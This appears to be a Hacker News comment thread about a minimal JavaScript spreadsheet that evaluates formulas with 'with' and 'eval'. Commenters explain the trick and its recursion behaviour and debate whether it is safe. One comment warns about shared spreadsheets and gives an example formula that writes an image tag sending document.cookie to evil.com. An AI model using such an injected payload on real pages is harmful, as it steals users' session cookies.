5 ms·
Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed with (DATA) now that's just genius. I hate writ
by timje1 13y ago
Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed
with (DATA)
now that's just genius. I hate writing token parsing.
- agumonkey 13y agowith (context) + eval = user-space lexical environment ?
- richthegeek 13y agoYep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module. If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!
- agumonkey 13y agoThanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise. [1] I just finished skimming through eloquent js and js allonge, and this still eluded me.
- jcheng 13y agoDo you mind elaborating on those nasty side effects? (I use with(context) for a small but important feature in the product I work on.)
- dnautics 13y agoif it's on node.js I imagine there's things to worry about like malicious injection
- curveship 13y agoNo, unfortunately. If a reference isn't found in your context object, it falls through to the ambient namespace. So say you run ... context = { foo: 1, bar: 2 }; with (context) { foo = 2; bar = 3; } That will probably do what you expect. But now say you run it where context is just ... context = { foo: 1 }; with (context) { foo = 2; bar = 3; } ... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops! In short, 'with' is pointy on both ends.
- agumonkey 13y agoOh yeah, `with` is dangerous.
- jcampbell1 13y agoI am a bit lost as to why cycles are handled the way they are. Part of the problem, is cycles seem to crash chrome's developer tools. If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me. I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?
- deleted 13y ago[deleted]
- ondras 13y agoThe getter impl should prevent this. Firefox, for instance, throws an exception...
- jcampbell1 13y agoI think I figured it out. It does cause an infinite loop, but Chrome throws a "Range Error: Max Call Stack Exceeded", which then gets trapped by the try/catch block. Firefox does a similar thing, by throwing a "too much recursion" error.
- btown 13y agoIt's possible that the call stack is being exceeded, but the Web Inspector is still trying to display each portion of the call stack - leading to an out-of-memory condition for the inspector?
- angersock 13y agoI'm a bit slow this morning...would anyone mind explaining how that and the defineProperties stuff makes a parse happen?
- deleted 13y ago[deleted]
- jessedhillon 13y agodefineProperty is being used to set a property On DATA, named corresponding to the cell's id (e.g., A3), to a descriptor. In this case the descriptor only provides a getter function, inside of which is an eval done with DATA as the context. That means all evaluated variable references will assume DATA as the implicit 'this' (whereas normally that would be 'window')
- deleted 13y ago[deleted]
- jcampbell1 13y ago50 getters are defined on DATA: a1..e5, and A1..E5 Consider the formula =A1+A2 inside the getter we have: with(DATA) eval('A1+A2'); Which is basically the same as: eval('DATA.A1+DATA.A2'); Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.
- jdc0589 13y agoI can safely say its one of the only 'appropriate' uses of a with-block I have ever seen.
- inDigiNeous 13y agoUsing both 'with' and 'eval' on the same line, nice ;) Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'. Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s http://youtu.be/hQVTIJBZook?t=13m30s Are these statements still true ?
- ondras 13y agoSomewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.
- ben336 13y agoYes. They're generally performance and reading nightmares. But this is a very clever usage.
- jcampbell1 13y agoYes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare. Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie http://evil.com/'+document.cookie +'">'); eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
- aufreak3 13y agoDoing this all in a webworker might be one way to get security - by sandboxing the with/eval?
- jcampbell1 13y agoPossibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin. It seems like that would be somewhat XSS safe since you are just passing strings back and forth. I really like this idea. evalSafeAsync(code,context,callback) That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.